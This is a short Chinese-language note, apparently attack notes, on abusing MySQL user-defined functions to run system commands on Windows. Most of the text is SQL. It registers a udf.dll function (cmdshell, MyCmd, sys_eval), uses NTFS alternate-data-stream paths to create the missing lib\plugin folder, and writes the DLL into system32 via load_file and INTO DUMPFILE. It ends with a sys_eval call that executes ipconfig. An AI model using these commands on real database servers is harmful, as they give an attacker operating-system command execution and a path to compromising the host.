Create Function 函数名 returns string soname ‘导出的DLL路径’;
e.g.
Create Function cmdshell returns string soname 'udf.dll';
-----------或者
Create function MyCmd returns string soname "udf.dll";
Select MyCmd("CMD命令");
Drop function MyCmd;
某些情况下,我们会遇到Can’t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
select @@basedir; //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。
直接执行
create function sys_eval returns string soname 'udf.dll'
create table a (cmd LONGBLOB);
insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
create function sys_eval returns string soname 'udf.dll'
select sys_eval('ipconfig');